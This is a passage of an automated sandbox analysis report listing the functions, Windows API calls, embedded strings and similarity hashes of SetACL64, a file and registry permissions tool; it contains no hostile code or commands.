Download Yara Rule

APIs

CreateMutexW.KERNELBASE ref: 00007FF7C17013FB
CreateEventW.KERNEL32 ref: 00007FF7C1701412
CreateEventW.KERNEL32 ref: 00007FF7C1701429

Memory Dump Source

Source File: 00000004.00000002.2140094996.00007FF7C1701000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF7C1700000, based on PE: true

Associated: 00000004.00000002.2140081597.00007FF7C1700000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140134461.00007FF7C176B000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140154839.00007FF7C178E000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140171439.00007FF7C1792000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140171439.00007FF7C1797000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff7c1700000_SetACL64.jbxd

Similarity

API ID: Create$Event$Mutex
String ID:
API String ID: 646228171-0
Opcode ID: 6379593e08b2bd55a17043a86bbd2af44a1a5acfd305ab3cea2657f90ecb20a5
Instruction ID: d077b1f059a800f278c57c93bcb1e23eb1d14d1b685fca0b9b5a26e9cf1b7f7c
Opcode Fuzzy Hash: 6379593e08b2bd55a17043a86bbd2af44a1a5acfd305ab3cea2657f90ecb20a5
Instruction Fuzzy Hash: DF016171E18B5282F314EF3BAC46725B291BF5E330F904635D44919D62DFFD20844720

Function 00007FF7C17494BC Relevance: .3, Instructions: 307COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2140094996.00007FF7C1701000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF7C1700000, based on PE: true

Associated: 00000004.00000002.2140081597.00007FF7C1700000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140134461.00007FF7C176B000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140154839.00007FF7C178E000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140171439.00007FF7C1792000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140171439.00007FF7C1797000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff7c1700000_SetACL64.jbxd

Similarity

API ID: ErrorLastNameTranslatetry_get_function$CodePageValid_invalid_parameter_noinfo
String ID:
API String ID: 3827717455-0
Opcode ID: cd5847d95c1ec1ea5f6fa8942c7cd11692604adcea6c09be9589e5be80c42005
Instruction ID: 8d9ff90edd2942f029254b67a56d3c5474e1654188ce974758c3abdfac0f02b9
Opcode Fuzzy Hash: cd5847d95c1ec1ea5f6fa8942c7cd11692604adcea6c09be9589e5be80c42005
Instruction Fuzzy Hash: A5C1E726A0868285FB60EF6394107FAA7A4FB8C7A8FD04035DE4D87686DFBCD505CB14

Function 00007FF7C174C28F Relevance: .2, Instructions: 166COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2140094996.00007FF7C1701000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF7C1700000, based on PE: true

Associated: 00000004.00000002.2140081597.00007FF7C1700000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140134461.00007FF7C176B000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140154839.00007FF7C178E000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140171439.00007FF7C1792000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140171439.00007FF7C1797000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff7c1700000_SetACL64.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5f9f6a45bebd045a65918cd93e0d102e00439adfc5451531a9305081acf388ad
Instruction ID: f99fac776142e25a4dde6464d0f10b56f0a3f354fd14f93dec3a74fad563b947
Opcode Fuzzy Hash: 5f9f6a45bebd045a65918cd93e0d102e00439adfc5451531a9305081acf388ad
Instruction Fuzzy Hash: 1651F717A1820282EB68BE2B81006BDA790EF4C764FC45136DD4D4728BCFADE905CF71

Function 00007FF7C1753410 Relevance: .1, Instructions: 126COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2140094996.00007FF7C1701000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF7C1700000, based on PE: true

Associated: 00000004.00000002.2140081597.00007FF7C1700000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140134461.00007FF7C176B000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140154839.00007FF7C178E000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140171439.00007FF7C1792000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140171439.00007FF7C1797000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff7c1700000_SetACL64.jbxd

Similarity

API ID: ErrorFreeHeapLast
String ID:
API String ID: 485612231-0
Opcode ID: 8d8ad80b19cf41d7d45d56f594be254ad60926e3090e2f9cb78a876611dcab70
Instruction ID: 2066d8977589be2f1bef1f2cc833cca2a80a87616278723302bb71f8bbb6634e
Opcode Fuzzy Hash: 8d8ad80b19cf41d7d45d56f594be254ad60926e3090e2f9cb78a876611dcab70
Instruction Fuzzy Hash: 5641D322714A5882EF44DF6BD9241A9A391BB4CFE4B99A432DE4D97B59DF7CD0428300

Function 00007FF7C1723A20 Relevance: 47.8, APIs: 21, Strings: 6, Instructions: 509
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetLastError.KERNEL32 ref: 00007FF7C1723A20
GetCurrentProcess.KERNEL32 ref: 00007FF7C1723CC0
OpenProcessToken.ADVAPI32 ref: 00007FF7C1723CD3
GetLastError.KERNEL32 ref: 00007FF7C1723CDD
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7C17243FB
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7C1724401
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7C1724407
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7C172440D
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7C1724413
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7C1724419
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7C172441F
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7C1724425
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7C172442B

Strings

SeTakeOwnershipPrivilege, xrefs: 00007FF7C1723F39
Privilege 'Restore files and directories' could not be enabled. SetACL's powers are restricted. Better run SetACL with admin right, xrefs: 00007FF7C1723E37
Privilege 'Take ownership of files or other objects' could not be enabled. SetACL's powers are restricted. Better run SetACL with , xrefs: 00007FF7C17240F4
SeRestorePrivilege, xrefs: 00007FF7C1723C7C
Privilege 'Back up files and directories' could not be enabled. SetACL's powers are restricted. Better run SetACL with admin right, xrefs: 00007FF7C1723B7A
Prepare, xrefs: 00007FF7C1723BAA, 00007FF7C1723E67, 00007FF7C1724124

Memory Dump Source

Source File: 00000004.00000002.2140094996.00007FF7C1701000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF7C1700000, based on PE: true

Associated: 00000004.00000002.2140081597.00007FF7C1700000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140134461.00007FF7C176B000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140154839.00007FF7C178E000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140171439.00007FF7C1792000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140171439.00007FF7C1797000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff7c1700000_SetACL64.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturn$ErrorLastProcess$CurrentOpenToken
String ID: Prepare$Privilege 'Back up files and directories' could not be enabled. SetACL's powers are restricted. Better run SetACL with admin right$Privilege 'Restore files and directories' could not be enabled. SetACL's powers are restricted. Better run SetACL with admin right$Privilege 'Take ownership of files or other objects' could not be enabled. SetACL's powers are restricted. Better run SetACL with $SeRestorePrivilege$SeTakeOwnershipPrivilege
API String ID: 6815931-1541018277
Opcode ID: e7fd04f08fec1a0ecb78bb51fd9c432250016c32d835b16c80ef034a2c114e38
Instruction ID: 24a0aa6039bf43965c28a0ae0a05a4ee6045b92417294ad788885dfbbc1ad43d
Opcode Fuzzy Hash: e7fd04f08fec1a0ecb78bb51fd9c432250016c32d835b16c80ef034a2c114e38
Instruction Fuzzy Hash: B0228572A1878281EB04AF5AE44436DE361FB897B4FD05135E69D43AEADFBCE091C710

Function 00007FF7C1722DCB Relevance: 46.0, APIs: 19, Strings: 7, Instructions: 532
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7C17234DB
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7C17234E1
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7C17234E7
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7C1723503
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7C1723509

Part of subcall function 00007FF7C172B710: RegEnumKeyExW.ADVAPI32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,000001A1), ref: 00007FF7C172B812

Part of subcall function 00007FF7C1709520: _invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7C1709606
Part of subcall function 00007FF7C1709520: Concurrency::cancel_current_task.LIBCPMT ref: 00007FF7C170960C

Strings

Run, xrefs: 00007FF7C17230B5, 00007FF7C1723375
/, xrefs: 00007FF7C1723481
read, xrefs: 00007FF7C1724AAB
Object path and/or object type not specified., xrefs: 00007FF7C1723573
SetACL finished successfully., xrefs: 00007FF7C1723325
Action 'reset children' was used without specifying whether to reset the DACL, SACL, or both. Nothing was reset., xrefs: 00007FF7C172307E
Prepare, xrefs: 00007FF7C17235A1

Memory Dump Source

Source File: 00000004.00000002.2140094996.00007FF7C1701000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF7C1700000, based on PE: true

Associated: 00000004.00000002.2140081597.00007FF7C1700000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140134461.00007FF7C176B000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140154839.00007FF7C178E000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140171439.00007FF7C1792000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140171439.00007FF7C1797000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff7c1700000_SetACL64.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturn$Concurrency::cancel_current_taskEnum
String ID: SetACL finished successfully.$/$Action 'reset children' was used without specifying whether to reset the DACL, SACL, or both. Nothing was reset.$Object path and/or object type not specified.$Prepare$Run$read
API String ID: 1222371136-710240214
Opcode ID: 6fd56c362ca3c0bd5d5ac0762c920353aa005472101274b7ea8be5c822556958
Instruction ID: 8c88df4de652eab0d13b90fe2f467468cba1651b2b0dc0d4447832c139fff120
Opcode Fuzzy Hash: 6fd56c362ca3c0bd5d5ac0762c920353aa005472101274b7ea8be5c822556958
Instruction Fuzzy Hash: BF32A072A1968281EB14EF66E4843AAE361FB4D7A0FC04532D65D43AD7DFBCE151CB20

Function 00007FF7C1737715 Relevance: 30.4, APIs: 16, Strings: 1, Instructions: 600registryfileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32 ref: 00007FF7C1737A14
GetLastError.KERNEL32 ref: 00007FF7C1737A35
CloseHandle.KERNEL32 ref: 00007FF7C1737B52
RegCloseKey.ADVAPI32 ref: 00007FF7C1737B62
SetSecurityInfo.ADVAPI32 ref: 00007FF7C1737C29

Part of subcall function 00007FF7C17142A0: GetCurrentProcess.KERNEL32 ref: 00007FF7C17142DA
Part of subcall function 00007FF7C17142A0: OpenProcessToken.ADVAPI32 ref: 00007FF7C17142EC
Part of subcall function 00007FF7C17142A0: GetLastError.KERNEL32 ref: 00007FF7C17142F6

NetShareGetInfo.NETAPI32 ref: 00007FF7C1737DD6
NetApiBufferFree.NETAPI32 ref: 00007FF7C1737E10
SetNamedSecurityInfoW.ADVAPI32 ref: 00007FF7C1737E5D
NetShareSetInfo.NETAPI32 ref: 00007FF7C1737EDA
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7C1737FE2
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7C1737FE8
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7C1737FEE
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7C1737FF4
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7C1738000
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7C1738006

Strings

SeSecurityPrivilege, xrefs: 00007FF7C1737749

Memory Dump Source

Source File: 00000004.00000002.2140094996.00007FF7C1701000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF7C1700000, based on PE: true

Associated: 00000004.00000002.2140081597.00007FF7C1700000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140134461.00007FF7C176B000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140154839.00007FF7C178E000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140171439.00007FF7C1792000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140171439.00007FF7C1797000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff7c1700000_SetACL64.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturn$Info$CloseErrorLastProcessSecurityShare$BufferCreateCurrentFileFreeHandleNamedOpenToken
String ID: SeSecurityPrivilege
API String ID: 4200377542-2333288578
Opcode ID: 72c4d0f1dcd23645b0fd41c2eee2edcd0e185607ca5a744b2523e201e660a9b5
Instruction ID: b60da2fe27666989aafac9c287a29adb5f06d260074a9dfd11d876dcc11140f6
Opcode Fuzzy Hash: 72c4d0f1dcd23645b0fd41c2eee2edcd0e185607ca5a744b2523e201e660a9b5
Instruction Fuzzy Hash: CD42A172A0878285EB10EF26D4447ADA361FB497A8FD04235DA5D47BDADFBCE580C360

Function 00007FF7C171DA7F Relevance: 21.1, APIs: 10, Strings: 2, Instructions: 129
synchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetEvent.KERNEL32 ref: 00007FF7C171DA89
ReleaseMutex.KERNEL32 ref: 00007FF7C171DA9D
EnterCriticalSection.KERNEL32 ref: 00007FF7C171DACF

Strings

%s, xrefs: 00007FF7C171DC4B
UNKNW,, xrefs: 00007FF7C171DBDF

Memory Dump Source

Source File: 00000004.00000002.2140094996.00007FF7C1701000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF7C1700000, based on PE: true

Associated: 00000004.00000002.2140081597.00007FF7C1700000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140134461.00007FF7C176B000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140154839.00007FF7C178E000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140171439.00007FF7C1792000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140171439.00007FF7C1797000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff7c1700000_SetACL64.jbxd

Similarity

API ID: CriticalEnterEventMutexReleaseSection
String ID: %s$UNKNW,
API String ID: 995701069-1666316639
Opcode ID: 003888358cd9cecbf61ced5c3771de75027d33bda59ba79a7f963fd78033388b
Instruction ID: 70f08c01b1d95545d0dbc03bb40ea7416394866ceae1e281ccc048534411da74
Opcode Fuzzy Hash: 003888358cd9cecbf61ced5c3771de75027d33bda59ba79a7f963fd78033388b
Instruction Fuzzy Hash: A3518E62A19A4285EF04EF56D55837DA365FB49BA4FD25434CA0E073A3DEBCE4448720

Function 00007FF7C173F3C0 Relevance: 13.7, APIs: 9, Instructions: 187
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LookupAccountNameW.ADVAPI32 ref: 00007FF7C173F44D
GetLastError.KERNEL32(?,?,?,?,?,?,00000000,00000000,?,?,FFFFFFFF,?,00000001,00007FF7C173E9EF), ref: 00007FF7C173F453
GetLastError.KERNEL32(?,?,?,?,?,?,00000000,00000000,?,?,FFFFFFFF,?,00000001,00007FF7C173E9EF), ref: 00007FF7C173F45E
LookupAccountNameW.ADVAPI32 ref: 00007FF7C173F54D
GetLastError.KERNEL32(?,?,?,?,?,?,00000000,00000000,?,?,FFFFFFFF,?,00000001,00007FF7C173E9EF), ref: 00007FF7C173F557
IsValidSid.ADVAPI32(?,?,?,?,?,?,00000000,00000000,?,?,FFFFFFFF,?,00000001,00007FF7C173E9EF), ref: 00007FF7C173F593
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7C173F647
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7C173F64D
Concurrency::cancel_current_task.LIBCPMT ref: 00007FF7C173F653

Memory Dump Source

Source File: 00000004.00000002.2140094996.00007FF7C1701000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF7C1700000, based on PE: true

Associated: 00000004.00000002.2140081597.00007FF7C1700000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140134461.00007FF7C176B000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140154839.00007FF7C178E000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140171439.00007FF7C1792000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140171439.00007FF7C1797000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff7c1700000_SetACL64.jbxd

Similarity

API ID: ErrorLast$AccountLookupName_invalid_parameter_noinfo_noreturn$Concurrency::cancel_current_taskValid
String ID:
API String ID: 311209037-0
Opcode ID: c7e2f3c1dd69d1f4acddb5ab312ab4255335677c4fd2a3498e6ade446b79d788
Instruction ID: df98df2db12b093d054b4f728fa6999c7ff6bd205a7d0b6c4252a78f598bb5ac
Opcode Fuzzy Hash: c7e2f3c1dd69d1f4acddb5ab312ab4255335677c4fd2a3498e6ade446b79d788
Instruction Fuzzy Hash: C9719422A18B8681EB24AF16A44436DB365FB49BF4FE40231DA5D07BD6DFBCE4508351

Function 00007FF7C171CD0A Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 226
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00007FF7C171D0A0: EnterCriticalSection.KERNEL32 ref: 00007FF7C171D0CB

Part of subcall function 00007FF7C1714FC0: GetModuleFileNameW.KERNEL32 ref: 00007FF7C171503A

RegisterEventSourceW.ADVAPI32 ref: 00007FF7C171CFAC
LeaveCriticalSection.KERNEL32 ref: 00007FF7C171D051
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7C171D084
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7C171D08A
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7C171D090

Strings

DefaultEventSource, xrefs: 00007FF7C171CDE1

Memory Dump Source

Source File: 00000004.00000002.2140094996.00007FF7C1701000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF7C1700000, based on PE: true

Associated: 00000004.00000002.2140081597.00007FF7C1700000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140134461.00007FF7C176B000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140154839.00007FF7C178E000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140171439.00007FF7C1792000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140171439.00007FF7C1797000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff7c1700000_SetACL64.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturn$CriticalSection$EnterEventFileLeaveModuleNameRegisterSource
String ID: DefaultEventSource
API String ID: 352910984-1672983561
Opcode ID: 9ab4e8bb403d8240f21ffea30b4f19ad447ea429c625c95da4614829f2c2d001
Instruction ID: aded28a548baed820fa1c739a00e823b1fa218be891169acf6aa8f78bfef3ea0
Opcode Fuzzy Hash: 9ab4e8bb403d8240f21ffea30b4f19ad447ea429c625c95da4614829f2c2d001
Instruction Fuzzy Hash: 48A17262B14B8185EF00AF76D4453AC6361EF587ACF918235E75C06ADBDFB8E194C350

Function 00007FF7C1701649 Relevance: 9.0, APIs: 6, Instructions: 38
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

EnterCriticalSection.KERNEL32 ref: 00007FF7C1701653
LeaveCriticalSection.KERNEL32 ref: 00007FF7C1701667
EnterCriticalSection.KERNEL32 ref: 00007FF7C170169C
CloseHandle.KERNEL32 ref: 00007FF7C17016B0
DeregisterEventSource.ADVAPI32 ref: 00007FF7C17016C9
LeaveCriticalSection.KERNEL32 ref: 00007FF7C17016D9

Memory Dump Source

Source File: 00000004.00000002.2140094996.00007FF7C1701000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF7C1700000, based on PE: true

Associated: 00000004.00000002.2140081597.00007FF7C1700000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140134461.00007FF7C176B000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140154839.00007FF7C178E000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140171439.00007FF7C1792000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140171439.00007FF7C1797000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff7c1700000_SetACL64.jbxd

Similarity

API ID: CriticalSection$EnterLeave$CloseDeregisterEventHandleSource
String ID:
API String ID: 1038480651-0
Opcode ID: 7186af4088bc47e5858a979c3040af2f97af1d69e41cea5f9ceaa15bf5e240b6
Instruction ID: 3c1a972f1d4270da3561ff82d53050e747fb7044f8f57448eec15de7b49b70e5
Opcode Fuzzy Hash: 7186af4088bc47e5858a979c3040af2f97af1d69e41cea5f9ceaa15bf5e240b6
Instruction Fuzzy Hash: 7C01ED21F08642D6FB54FF67AC98338E364BF8EB61F840135C94F46562CFACA4548720

Function 00007FF7C172B710 Relevance: 7.7, APIs: 5, Instructions: 167
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegEnumKeyExW.ADVAPI32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,000001A1), ref: 00007FF7C172B812
RegEnumKeyExW.ADVAPI32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,000001A1), ref: 00007FF7C172B913
RegCloseKey.ADVAPI32 ref: 00007FF7C172B935
RegCloseKey.ADVAPI32 ref: 00007FF7C172B9EB
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7C172BC21
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7C172BC27
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7C172BC2D
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7C172BC33

Memory Dump Source

Source File: 00000004.00000002.2140094996.00007FF7C1701000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF7C1700000, based on PE: true

Associated: 00000004.00000002.2140081597.00007FF7C1700000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140134461.00007FF7C176B000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140154839.00007FF7C178E000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140171439.00007FF7C1792000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140171439.00007FF7C1797000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff7c1700000_SetACL64.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturn$CloseEnum
String ID:
API String ID: 315095564-0
Opcode ID: a3d853b96546bdb9a2c2abaa2013f1f5933da85cd711577ccb0fd2a482ac2484
Instruction ID: 914d9d67005cf21e7f36f1b7ca1c29b41540cfa393e1563727f1f0886c0662cc
Opcode Fuzzy Hash: a3d853b96546bdb9a2c2abaa2013f1f5933da85cd711577ccb0fd2a482ac2484
Instruction Fuzzy Hash: D961C232B18B8285F710EF66E4403ADA3A5EB887A8F500135EF8C53A9ADF78D051C750

Function 00007FF7C174E62C Relevance: 7.6, APIs: 5, Instructions: 60
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF7C174E650
CreateThread.KERNELBASE ref: 00007FF7C174E691
GetLastError.KERNEL32 ref: 00007FF7C174E69F
CloseHandle.KERNEL32 ref: 00007FF7C174E6BC
FreeLibrary.KERNEL32 ref: 00007FF7C174E6CB

Memory Dump Source

Source File: 00000004.00000002.2140094996.00007FF7C1701000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF7C1700000, based on PE: true

Associated: 00000004.00000002.2140081597.00007FF7C1700000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140134461.00007FF7C176B000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140154839.00007FF7C178E000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140171439.00007FF7C1792000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140171439.00007FF7C1797000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff7c1700000_SetACL64.jbxd

Similarity

API ID: CloseCreateErrorFreeHandleLastLibraryThread_invalid_parameter_noinfo
String ID:
API String ID: 2067211477-0
Opcode ID: 76804c98ee7f117b6a44088b4c4b934afb96eee452b2a54a362fddb3aa974b5e
Instruction ID: 24f127fc41f9e0e952d20ee55ac6bbab45dcb549bf05b64fb1eae72a1728dd7f
Opcode Fuzzy Hash: 76804c98ee7f117b6a44088b4c4b934afb96eee452b2a54a362fddb3aa974b5e
Instruction Fuzzy Hash: 60215E25B0974686FF14EF67A410179E3A0AF8CBB0F848430DE5D07756DEBCE4008B61

Function 00007FF7C1757C10 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 50
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

try_get_function.LIBVCRUNTIME ref: 00007FF7C1757C49
CompareStringEx.KERNELBASE ref: 00007FF7C1757C9D
CompareStringW.KERNEL32 ref: 00007FF7C1757CD1

Strings

CompareStringEx, xrefs: 00007FF7C1757C3D

Memory Dump Source

Source File: 00000004.00000002.2140094996.00007FF7C1701000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF7C1700000, based on PE: true

Associated: 00000004.00000002.2140081597.00007FF7C1700000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140134461.00007FF7C176B000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140154839.00007FF7C178E000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140171439.00007FF7C1792000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140171439.00007FF7C1797000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff7c1700000_SetACL64.jbxd

Similarity

API ID: CompareString$try_get_function
String ID: CompareStringEx
API String ID: 3689094840-2590796910
Opcode ID: 6cc9a304ba6e9625a3989606c7bdae2d4dc860ba4e45f28530a020498054dd0b
Instruction ID: 4a61fa0eab4d71ecc733919939e1190e900c2ecbe9efee883d8996ec3b0dc485
Opcode Fuzzy Hash: 6cc9a304ba6e9625a3989606c7bdae2d4dc860ba4e45f28530a020498054dd0b
Instruction Fuzzy Hash: E511F936608B8186D760DF56B4402AAB7A5FBCDBA0F94413AEE8D43B5ACF7CD4548B40

Function 00007FF7C1757F34 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 26COMMONLIBRARYCODE

Download Yara Rule

APIs

try_get_function.LIBVCRUNTIME ref: 00007FF7C1757F5D
GetUserDefaultLocaleName.KERNELBASE(?,?,000000A0,00007FF7C17564C4), ref: 00007FF7C1757F6C
GetUserDefaultLCID.KERNEL32(?,?,000000A0,00007FF7C17564C4), ref: 00007FF7C1757F74

Strings

GetUserDefaultLocaleName, xrefs: 00007FF7C1757F40, 00007FF7C1757F4A

Memory Dump Source

